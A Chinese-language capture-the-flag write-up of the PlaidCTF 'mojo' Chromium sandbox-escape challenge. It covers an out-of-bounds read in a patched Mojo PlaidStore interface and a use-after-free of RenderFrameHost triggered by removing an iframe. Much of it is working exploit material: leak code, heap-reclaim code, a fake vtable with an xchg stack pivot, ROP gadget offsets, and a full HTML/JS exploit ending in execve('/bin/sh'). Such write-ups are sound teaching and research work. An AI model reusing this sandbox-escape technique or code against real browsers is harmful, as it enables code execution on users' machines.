PlaidCTF当时没腾出手来看,正好有Chromium的题目,趁做完了0CTF的Chromium系列拿来再熟悉一下。mojo这个题目在比赛过程中分值500pts,是分数最高的几道题目之一。

image-20200802131307814

题目描述可以忽略…由于之前的0CTF题目附件是参考的PlaidCTF的,所以也没啥补充的。

可以参考的资料有:

Patch

大体的功能就是加入了一个PlaidStore interface,有store和get两种功能:

1
2
3
4
5
6
7
8
9
+// This interface provides a data store
+interface PlaidStore {
+
+ // Stores data in the data store
+ StoreData(string key, array<uint8> data);
+
+ // Gets data from the data store
+ GetData(string key, uint32 count) => (array<uint8> data);
+};

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
+PlaidStoreImpl::PlaidStoreImpl(
+ RenderFrameHost *render_frame_host)
+ : render_frame_host_(render_frame_host) {}
+
+PlaidStoreImpl::~PlaidStoreImpl() {}
+
+void PlaidStoreImpl::StoreData(
+ const std::string &key,
+ const std::vector<uint8_t> &data) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ return;
+ }
+ data_store_[key] = data;
+}
+
+void PlaidStoreImpl::GetData(
+ const std::string &key,
+ uint32_t count,
+ GetDataCallback callback) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ std::move(callback).Run({});
+ return;
+ }
+ auto it = data_store_.find(key);
+ if (it == data_store_.end()) {
+ std::move(callback).Run({});
+ return;
+ }
+ std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+ std::move(callback).Run(result);
+}

store功能就是提供一个字符串作为key,对应一个vector的data。get功能是提供一个字符串key,查找有没有对应的data,有的话返回count长度的data。

OOB

这里有一个比较明显的OOB漏洞,那就是在get的时候没有对count进行校验。例如store的时候存储的data是0x10长,但是get的时候count=0x20,此时就会多泄露0x10的数据,POC如下:

1
2
3
4
5
6
7
8
9
10
var ps_ptr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(ps_ptr).handle, "context", true);

await ps_ptr.storeData("aaa", new Uint8Array(0x10).fill(0x31));

let r = (await ps_ptr.getData("aaa", 0x100));
let leak = r.data;
for(let i = 0; i < 0x100; i = i + 8){
console.log(hex(b2i(leak.slice(i, i+8))));
}

PlaidStoreImpl的结构中的两个成员变量:

1
2
3
+ private:
+ RenderFrameHost* render_frame_host_;
+ std::map<std::string, std::vector<uint8_t> > data_store_;

我们的数据就存在data store中,泄露也是从这里泄露。为了能够泄露出有价值的内容,我们可以在store一些内容之后,再new一些PlaidStoreImpl,然后泄露内存,这些Impl在分配的时候很可能与data store相邻,这样就可以泄露出其中一些有用的指针,然后计算Chrome基地址等。

例如,我们之前曾经调试过ptmalloc下c++的对象结构:一个对象指针指向的是heap上的一个chunk,最开始的是8字节的vtable指针,vtable在data段上。vtable指向的位置是函数的地址,vtable上8字节是typeinfo。这里应该也类似,我们用类似的方法泄露vtable地址,进而泄露出Chrome data段的地址,然后计算Chrome的基地址,这样就可以使用Chrome的gadgets了。

UAF

有信息泄露并不足以攻击,代码中暗含的UAF漏洞是我写博客记录的主要原因。在store和get的代码中,都包含了这样的检查:

1
if (!render_frame_host_->IsRenderFrameLive()) { ... }

看起来就是为了检查当前的frame是否是alive的状态。为了理解这个漏洞我们需要了解RenderFrameHost的生命周期。在题目中,PlaidStoreImpl存储了这个RenderFrameHost指针作为成员变量。一般而言,如果一个interface并不是RenderFrameHost拥有的,那么这个interface不应该存储RenderFrameHost指针,而是应该存储frame ID,RenderFrameHost应该通过以下方式获得:

1
2
3
4
// Returns the RenderFrameHost given its ID and the ID of its render process.
// Returns nullptr if the IDs do not correspond to a live RenderFrameHost.
static RenderFrameHost* FromID(GlobalFrameRoutingId id);
static RenderFrameHost* FromID(int render_process_id, int render_frame_id);

位置在content/public/browser/render_frame_host.h

看一下题目中的Mojo interface是如何创建的:

1
2
3
4
5
6
7
+// static
+void PlaidStoreImpl::Create(
+ RenderFrameHost *render_frame_host,
+ mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+ mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+ std::move(receiver));
+}

使用的是MakeSelfOwnedReceiver函数,使得PlaidStoreImpl是一个StrongBinding,这意味着它掌控它自己,只有当interface关闭了或者出现通信错误了才会调用析构函数。这样的话,如果我们先释放了RenderFrameHost,再在PlaidStoreImpl中调用的话,就是一个UaF漏洞了。通过伪造vtable,我们可以在调用render_frame_host_->IsRenderFrameLive()时控制pc。

RenderFrameHost

每一个网页都有一个RenderFrameHost与之对应,但是Chrome中Frame是以tree的形式存在,这是因为一个web page中可以通过iframe来加载子frame:

1
2
3
4
5
6
7
8
<html>

<body>
<h1>Hello</h1>
<iframe src="http://www.baidu.com"></iframe>
</body>

</html>

image-20200802184958968

可见test1.html中是两个frame,父frame是test1.html,子frame是baidu.com。我们可以在子frame中绑定一个PlaidStoreImpl,然后在父frame中杀掉这个子frame,父frame依然可以正常运行,并且子frame的PlaidStoreImpl依然是alive的。

那么怎么利用这个Uaf呢?可以在document.body中创建一个iframe:

1
document.createElement("iframe");

获取PlaidStoreImpl,其中的render_frame_host_指向所在的iframe,然后从document.body中移除这个iframe:

1
document.body.removeChild(frame)

再重新分配回来。为了能够分配回来这块内存,比较好的方法就是大量分配同样大小的内存,不断尝试。

size of RenderFrameHost

1
2
3
4
5
6
pwndbg> info address content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
...
pwndbg>
0x3b21a52 <content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)+114>: mov edi,0xc28
pwndbg>
0x3b21a57 <content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)+119>: call 0x57044b0 <operator new(unsigned long, std::nothrow_t const&)>

由此判断出RenderFrameHost大小是0xc28。可以通过大量分配0xc28的ArrayBuffer来重新分配回这块内存。

Tricks

一些新的小技巧:

  1. mojo bindings js文件在mojo_js.zip的位置不固定,可以用find . | grep来查找。

  2. 别忘了把新实现的接口js引进来,位置通过diff文件可以知道。

  3. 获取某个符号在bin中的地址,除了通过gdb中用info address [sym],也可以用nm工具,如

    1
    nm --demangle ./chrome | grep -i 'PlaidStoreImpl::Create'

    vtable也是有符号的,例如"vtable for content::PlaidStoreImpl"

  4. 调试浏览器层当然可以用gdb attach来调试,但是我觉得用set foll-fork-mode parent更香。

  5. 另一种写法:

    1
    let p = blink.mojom.PlaidStore.getRemote(true);

    这样就直接绑定了。getRemote函数在mojojs/third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js文件中定义:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    /**
    * @export
    */
    blink.mojom.PlaidStore = class {
    /**
    * @return {!string}
    */
    static get $interfaceName() {
    return "blink.mojom.PlaidStore";
    }

    /**
    * Returns a remote for this interface which sends messages to the browser.
    * The browser must have an interface request binder registered for this
    * interface and accessible to the calling document's frame.
    *
    * @return {!blink.mojom.PlaidStoreRemote}
    * @export
    */
    static getRemote(useBrowserInterfaceBroker = false) {
    let remote = new blink.mojom.PlaidStoreRemote;
    Mojo.bindInterface(this.$interfaceName,
    remote.$.bindNewPipeAndPassReceiver().handle,
    "context", useBrowserInterfaceBroker);
    return remote;
    }
    };

    这个lite文件是自动生成的。还需要配套的binding:mojojs/mojo/public/js/mojo_bindings_lite.js。

  6. Chrome中并不是一定存在xargs rsp rax;ret的gadget,可能存在其他形式,例如:

    1
    2
    3
    4
    xchg rsp, rax  #4894
    clc
    pop rbp
    ret # c3

    这个gadget在本次题目的<blink::V8ReportingObserverCallback::NameInHeapSnapshot() const+8>但是并不是通用的位置。

    使用ROPgadget要更快一些。

Put everything together

目前的大致思路如下(不保证绝对正确):

  1. 通过OOB泄露出render_frame_host的指,进而计算出Chrome基地址
  2. 通过UaF重新拿到RenderFrameHost的内存,修改其中的vtable的值,控制IsRenderFrameLive地址为xchg rax, rsp gadget的地址,配合pop rax; ret劫持栈空间到可控区域进行ROP

Exploit

按步骤来。

Leak Chrome code base

首先看一下PlaidStoreImpl的Create函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
0x3c584a0 <Create+16>: mov rbx,rdi
0x3c584a3 <Create+19>: mov edi,0x28
0x3c584a8 <Create+24>: call 0x57044b0 <operator new(unsigned long, std::nothrow_t const&)>
给PlaidStoreImpl对象分配内存。由此可以看出对象的大小应该是0x28*8=0x140字节。(还是说0x28字节?)

0x3c584ad <Create+29>: lea rcx,[rip+0x635e2ec] # 0x9fb67a0 <vtable for content::PlaidStoreImpl+16>
0x3c584b4 <Create+36>: mov QWORD PTR [rax],rcx
rcx是content::PlaidStoreImpl+16的地址,+0 +8都是0,从+16开始应该是函数地址,构造函数、析构函数等。

0x3c584b7 <Create+39>: mov QWORD PTR [rax+0x8],rbx
存储完vtable之后存储成员变量,这个应该是render_frame_host_的值

0x3c584bb <Create+43>: lea rcx,[rax+0x18]
0x3c584bf <Create+47>: xorps xmm0,xmm0
...

看起来PlaidStoreImpl应该是这个样子的:

1
2
3
4
pwndbg> x/20gx 0x21499c74e030
0x21499c74e030: 0x0000558de05837a0 <= vtable 0x000021499c6e4400 <= render_frame_host
0x21499c74e040: 0x000021499c74e048 <= data 0x0000000000000000
...

vtable的地址:0x3c584b4+0x635e2ec=0x9fb67a0。所以泄露出来的应该是7a0结尾的地址。通过与运算可以判断出是否是想要的值。之后减去偏移即可计算出基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var ps_list = [];
var try_size = 100;
var code_leak = 0;
for(let i = 0; i < try_size; i++){
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(tmp_ps_ptr).handle, "context", true);
await tmp_ps_ptr.storeData("aaaa", new Uint8Array(0x28).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(code_leak != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = (await tmp_ps_ptr.getData("aaaa", 0x100));
let leak = r.data;
for(let i = 0x28; i < 0x100; i = i + 8){
let tmp_leak = b2i(leak.slice(i, i+8));
if(hex(tmp_leak & 0xfff) == "0x7a0" ){
code_leak = tmp_leak;
success_value("code leak: ", code_leak);
break;
}
}
}
if(code_leak == 0){
throw 1;
}
var code_base = code_leak-0x9fb67a0;
success_value('code base: ', code_base);
1
2
[0803/214620.679421:INFO:CONSOLE(20)] "[+] code leak: 0x5559f846d7a0", source: file:///home/wgn/Desktop/mojo/pwn.html (20)
[0803/214620.680307:INFO:CONSOLE(20)] "[+] code base: 0x5559ee4b7000", source: file:///home/wgn/Desktop/mojo/pwn.html (20)

这里的大小并不是绝对的…很多size都可以泄露出来。有了基地址就可以计算出gadget的地址了。

xchg gadget

小插曲:沙箱逃逸的gadget比较常用的应该是xchg栈劫持了。如果使用ROPgadget找gadget确实比较慢,所以写了个C的小工具,直接用字符比较的方法找xchg的gadget,github的地址在这里。可以很快地找到gadget可能的位置,然后在gdb里面排查一下就好:

1
2
3
4
5
0x880dee8 (ret @ 0x880deec)
0x8c49bd2 (ret @ 0x8c49bd7)
0x8d078d6 (ret @ 0x8d078db)
0x901a564 (ret @ 0x901a56a)
0x93fdd94 (ret @ 0x93fdd99)

这里我们使用0x880dee8的gadget。至于其他的像pop rax等gadget可以直接通过search -x指令查找。

render_frame_host

有了基地址之后就可以顺便把后面的render_frame_host泄露出来了。

Code execution

Trigger crash, but not UaF yet

可以通过以下代码创建iframe:

1
2
3
var frame = document.createElement("iframe");
frame.src = "test.html";
document.body.appendChild(frame);

test.html不一定需要存在,或者通过frame.srcdoc可以直接写入html代码。

前:

image-20200805154126528

后:

image-20200805154210997

删的话可以用document.body.removeChild(frame);删除。

触发UaF步骤如下:

  1. 创建一个frame,设置其js代码和泄露地址的部分基本相同,然后给window设置属性。这样可以获取该frame的PlaidStoreImpl指针list,render frame host地址,代码段地址等。可以检查一下frame的代码段地址应与之前泄露的地址相同。
  2. 删除frame,空间被释放。
  3. 大量分配和RenderFrameHost大小相同的buffer,vtable填入非法值。
  4. list里的PlaidStoreImpl都调用store方法,就会调用render frame host的islive函数,某一个Impl的render frame host的vtable由于非法使得浏览器崩溃。

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    function addFrame(){
var frame = document.createElement("iframe");
frame.srcdoc = `
<script src="mojojs/mojo/public/js/mojo_bindings.js"><\/script>
<script src="mojojs/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
<script>
// 省略 ...
async function leak(){
// 省略 ...
window.code_base = code_base;
window.render_leak = render_leak;
window.ps_list = ps_list;
}

<\/script>
`;
document.body.appendChild(frame);
return frame;
}

var frame = addFrame();
var kRenderFrameHost = 0xc28;
frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
await frame.contentWindow.leak();
var frame_code_base = frame.contentWindow.code_base;
var frame_render = frame.contentWindow.render_leak;
var frame_ps_list = frame.contentWindow.ps_list;
if(frame_code_base == 0 || frame_render == 0 || frame_ps_list == 0 || frame_code_base != code_base){
throw 2;
}
success_value("iframe render_frame_host: ", frame_render);
frame.remove();

// many allocations
bin = [];
for(let i = 0; i < 1000; i++){
var uaf = new BigUint64Array(new ArrayBuffer(kRenderFrameHost)).fill(BigInt(0x74747474747474));
bin.push(uaf);
}

// trigger
for(let i = 0; i < 100; i++){
frame_ps_list[i].storeData('abcd', new Uint8Array(10));
}
});

这是我们目前拍脑门的错误脚本,但是的确可以使得浏览器崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Received signal 11 SEGV_MAPERR fffffb04e090b86e
#0 0x55ff4a3a8579 base::debug::CollectStackTrace()
#1 0x55ff4a30c6f3 base::debug::StackTrace::StackTrace()
#2 0x55ff4a3a8120 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7f03122728a0 (/lib/x86_64-linux-gnu/libpthread-2.27.so+0x1289f)
#4 0x55ff489151e1 content::PlaidStoreImpl::StoreData()
#5 0x55ff482e8c24 blink::mojom::PlaidStoreStubDispatch::Accept()
...
#27 0x7f030bbddb97 __libc_start_main
#28 0x55ff479b4a6a _start
r8: 000004f9b01a0cc0 r9: 00007fffbbdbfba8 r10: 0000000000000000 r11: 0000000000000000
r12: 000000000000000a r13: 00007fffbbdbf5d0 r14: 00007fffbbdbf5f0 r15: 000004f9b099d180
di: 000004f9b073ea00 si: 00007fffbbdbf5d0 bp: 00007fffbbdbf560 bx: 000004f9b0bce1d0
dx: 00007fffbbdbf5f0 ax: fffffb04e090b70e cx: 0000000000000000 sp: 00007fffbbdbf520
ip: 000055ff489151e1 efl: 0000000000010202 cgf: 002b000000000033 erf: 0000000000000005
trp: 000000000000000e msk: 0000000000000000 cr2: fffffb04e090b86e

可以看到是在调用StoreData崩溃的。一般来说i = 0就崩溃了。gdb调试也可以看到:

image-20200805213049883

是在取islive函数的地址时崩溃的。这里有个疑点就是rax的值看起来有点奇怪…理论上应该是vtable的地址才对,为什么是这样一个奇奇怪怪的值?

进一步分析需要我们了解一下render frame host的结构:

查看store功能的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x3c581c0 <store>:  push   rbp
0x3c581c1 <store>+1>: mov rbp,rsp
0x3c581c4 <store>+4>: push r15
0x3c581c6 <store>+6>: push r14
0x3c581c8 <store>+8>: push r13
0x3c581ca <store>+10>:push r12
0x3c581cc <store>+12>:push rbx
0x3c581cd <store>+13>:sub rsp,0x18
0x3c581d1 <store>+17>:mov r14,rdx
0x3c581d4 <store>+20>:mov r13,rsi
0x3c581d7 <store>+23>:mov r15,rdi
0x3c581da <store>+26>:mov rdi,QWORD PTR [rdi+0x8] # rdi是this,也就是Impl结构的地址,rdi+8存储的是render_frame_host的值,存储到rdi
0x3c581de <store>+30>:mov rax,QWORD PTR [rdi] # 从rdi取最开始的8字节,也就是vtable,存储到rax
0x3c581e1 <store>+33>:call QWORD PTR [rax+0x160] # rax应该是render_frame_host_ vtable的地址,rax+0x160是IsRenderFrameLive的地址
0x3c581e7 <store>+39>:test al,al
0x3c581e9 <store>+41>:je 0x3c58294 <store>+212>
0x3c581ef <store>+47>:lea rdi,[r15+0x10]
0x3c581f3 <store>+51>:movabs rax,0xaaaaaaaaaaaaaaaa
0x3c581fd <store>+61>:mov QWORD PTR [rbp-0x30],rax
0x3c58201 <store>+65>:lea rsi,[rbp-0x30]

结构如图:

renderframehost

之前我们已经能够触发UaF让浏览器崩溃,接下来我们进一步分析。某一次的console log:

1
2
3
4
5
[0805/222738.830194:INFO:CONSOLE(20)] "[+] render_frame_host: 0x167e3421a400", source: file:///home/wgn/Desktop/mojo/pwn.html (20)
[0805/222738.830920:INFO:CONSOLE(20)] "[+] code base: 0x55adafb39000", source: file:///home/wgn/Desktop/mojo/pwn.html (20)
[0805/222738.835455:INFO:CONSOLE(20)] "[+] xchg gadget: 0x55adb8346ee8", source: file:///home/wgn/Desktop/mojo/pwn.html (20)
[0805/222738.874454:INFO:CONSOLE(20)] "[+] iframe render_frame_host: 0x167e3421b100", source: file:///home/wgn/Desktop/mojo/pwn.html (20)
[0805/222738.877901:INFO:CONSOLE(11)] "[+] trigger uaf", source: file:///home/wgn/Desktop/mojo/pwn.html (11)

这里有个小点,两个render frame host的大小相差0xd00。不是正就是负。

由于我们可以直接计算出子frame的render地址,所以可以在子frame中直接创建一个impl传出来就可以了,没必要再泄露一次。

gdb中:

image-20200805222853275

可以看到rdi的值正好是我们泄露出的render_frame_host的值。但是此时的render_frame_host的内容:

image-20200805223104996

看起来并不是一个正常的结构体,首先最开始的8字节vtable就不对劲。正常的看起来应该是这样:

image-20200805223807508

这里来看,render frame host结构体的最开始两个8字节被修改了,并且是同一个值。看起来有点像是写入了fd和bk?但是这两个值并不是合法的地址,不属于哪个map。但是不管如何,我们在攻击的代码中是填充了值的,这里看内存并没有被填充,所以我们并没有真正拿到这里的内存。

Trigger UaF

我们的利用代码中,想要重新拿回0xc28字节的内存的代码是:

1
2
3
for(let i = 0; i < 1000; i++){
var uaf = new BigUint64Array(new ArrayBuffer(kRenderFrameHost)).fill(BigInt(0x74747474747474));
}

这里就是我们犯错误的地方,能够看出来问题出在哪里吗?

这里我们用new ArrayBuffer的形式来分配内存,这块内存是在renderer的内存空间中分配的,而我们释放了的render frame host结构体,既然我们可以直接在gdb中看到,说明render frame host的内存在browser的内存空间中。在题目中只有PlaidStoreImpl的storeData能够在浏览器层分配内存,所以可以修改为:

1
2
3
for(let i = 0; i < 100; i++){
ps_list[i].storeData('666', new Uint8Array(0xc28).fill(0x70+i));
}

这次的崩溃信息是我们想要的:

image-20200806181709641

其中的rax是我们填充的值。在gdb中也可以看到:

image-20200806181845976

从rdi开始的render frame host结构体完全被覆盖。

ROP chain

由于我们已经泄露了render frame host的值,我们可以想办法用RenderFrameHost结构体的一部分空间作为vtable,而RenderFrameHost的结构题有0xc28这么大,足够我们放进整个ROP链了。

rop-1

将vtable的值设置为render frame host+0x10,从0x10偏移处作为fake vtable,在fake vtable的+0x160的位置将islive函数的地址设置为xchg rax, rsp即可栈劫持。进入getData或者storeData函数的时候,rax是vtable的值,也就是render frame host最开始的8字节的值,所以此时rax=render frame host+0x10,这里作为新的栈。这样我们就可以开始rop了。

由于我们没有泄露出libc,所以想要用system函数的地址来getshell是不行了,但是我们可以ret2syscall,执行:

1
execve("some cmd", 0, 0);

这里的cmd可以存放在render frame host中,也可以通过getData的第一个参数来传,字符串的地址会保存在rsi寄存器中。ROP的设计如下:

1
2
3
4
5
6
7
8
9
pop rdi; ret;
"/bin/sh\x00"
pop rsi; ret;
0
pop rdx; ret;
0
pop rax; ret;
59
syscall

Getshell!

image-20200806202444041

Full exploit

可在这里下载源文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
<html>

<pre id='log'></pre>
<script src="mojojs/mojo/public/js/mojo_bindings.js"></script>
<script src="mojojs/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>

function success(msg) {
console.log('[+] ' + msg);
document.body.innerText += '[+] ' + msg + '\n';
}

function hex(i){
return '0x'+i.toString(16);
}

function success_value(msg, value) {
console.log('[+] ' + msg+hex(value));
document.body.innerText += '[+] ' + msg + hex(value) + '\n';
}

function debug(){
for(let i = 0; i < 0x100000; i++){
for(let j = 0; j < 0x100000; j++){
var x = x + i + j;
}
}
}

function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}

async function pwn(){

var ps_list = [];
var try_size = 100;
var code_leak = 0;
var render_leak;
for(let i = 0; i < try_size; i++){
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(tmp_ps_ptr).handle, "context", true);
await tmp_ps_ptr.storeData("aaaa", new Uint8Array(0x28).fill(0x30+i))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(code_leak != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = (await tmp_ps_ptr.getData("aaaa", 0x100));
let leak = r.data;
for(let i = 0x28; i < 0x100; i = i + 8){
let tmp_leak = b2i(leak.slice(i, i+8));
if(hex(tmp_leak & 0xfff) == "0x7a0" ){
code_leak = tmp_leak;
i += 8;
render_leak = b2i(leak.slice(i, i+8));
success_value("render_frame_host: ", render_leak);
break;
}
}
}
if(code_leak == 0){
throw 1;
}
var code_base = code_leak-0x9fb67a0;
success_value('code base: ', code_base);
var xchg = code_base+0x880dee8; // xchg rsp, rax; clc; pop rbp; ret;
success_value("xchg gadget: ", xchg);

var pop_rdi_ret = code_base+0x4103d24;
success_value('pop_rdi_ret: ', pop_rdi_ret);

var pop_rsi_ret = code_base+0x677fbb6;
success_value('pop_rsi_ret: ', pop_rsi_ret);

var pop_rdx_ret = code_base+0x64d8c1d;
success_value('pop_rdx_ret: ', pop_rdx_ret);

var pop_rax_ret = code_base+0x608df14;
success_value('pop_rax_ret: ', pop_rax_ret);

var syscall = code_base+0x510b419;
success_value('syscall: ', syscall);

function addFrame(){
var frame = document.createElement("iframe");
frame.srcdoc = `
// <script src="mojojs/mojo/public/js/mojo_bindings.js"><\/script>
<script src="mojojs/mojo/public/js/mojo_bindings_lite.js"><\/script>
// <script src="mojojs/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
<script src="mojojs/third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"><\/script>
<script>

function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}

function hex(i){
return '0x'+i.toString(16);
}

async function leak(){
var ps_list = [];
var try_size = 100;
var code_leak = 0;
var render_leak = 0;
var ps_ptr = 0;
for(let i = 0; i < try_size; i++){
// var tmp_ps_ptr = new blink.mojom.PlaidStorePtr();
var tmp_ps_ptr = blink.mojom.PlaidStore.getRemote(true);
// Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(tmp_ps_ptr).handle, "context", true);
await tmp_ps_ptr.storeData("aaaa", new Uint8Array(0x28).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(code_leak != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = (await tmp_ps_ptr.getData("aaaa", 0x100));
let leak = r.data;
for(let i = 0x28; i < 0x100; i = i + 8){
let tmp_leak = b2i(leak.slice(i, i+8));
if(hex(tmp_leak & 0xfff) == "0x7a0" ){
code_leak = tmp_leak;
// console.log('find!', hex(code_leak));
i += 8;
render_leak = b2i(leak.slice(i, i+8));
ts_ptr = tmp_ps_ptr;
break;
}
}
}
if(code_leak == 0){
throw 1;
}
var code_base = code_leak-0x9fb67a0;
var xchg = code_base+0x880dee8;
// console.log('find!', hex(code_base));

var test_ps_ptr = ps_list[0];

window.code_base = code_base;
window.render_leak = render_leak;
window.test_ps_ptr = test_ps_ptr;
}


<\/script>
`;
document.body.appendChild(frame);
return frame;
}

var frame = addFrame();
var kRenderFrameHost = 0xc28;

// template rop buffer, have to change vtable
var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(0x31313131313131); // vtable

uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(0x31313131313131); // vtable+0x178
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);

uaf_ta[(0x10+0x160)/8] = BigInt(xchg);

var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;

frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
await frame.contentWindow.leak();
var frame_code_base = frame.contentWindow.code_base;
var frame_render = frame.contentWindow.render_leak;
var frame_test_ps_ptr = frame.contentWindow.test_ps_ptr;

if(frame_code_base == 0 || frame_render == 0 || frame_code_base != code_base){
throw 2;
}
success_value("iframe render_frame_host: ", frame_render);

uaf_ta[0] = BigInt(frame_render)+0x10n;
uaf_ta[4] = BigInt(frame_render)+0x10n+0x160n+8n;

frame.remove();

for(let i = 0; i < 100; i++){
ps_list[i].storeData('666', new Uint8Array(uaf_ab));
}

success("getshell!");
frame_test_ps_ptr.getData('1', 1);
});
}

pwn();

</script>
</html>

似乎不支持弹窗,弹不了计算器 : p

还可以写的更简单一些:不泄露子frame中的render地址,用父frame的render地址加0xd00来填充。稳定性⬇️ 简洁性⬆️。

Final Notes

没啥说的,时刻记着自己在哪个进程 🤼‍♂️

whereami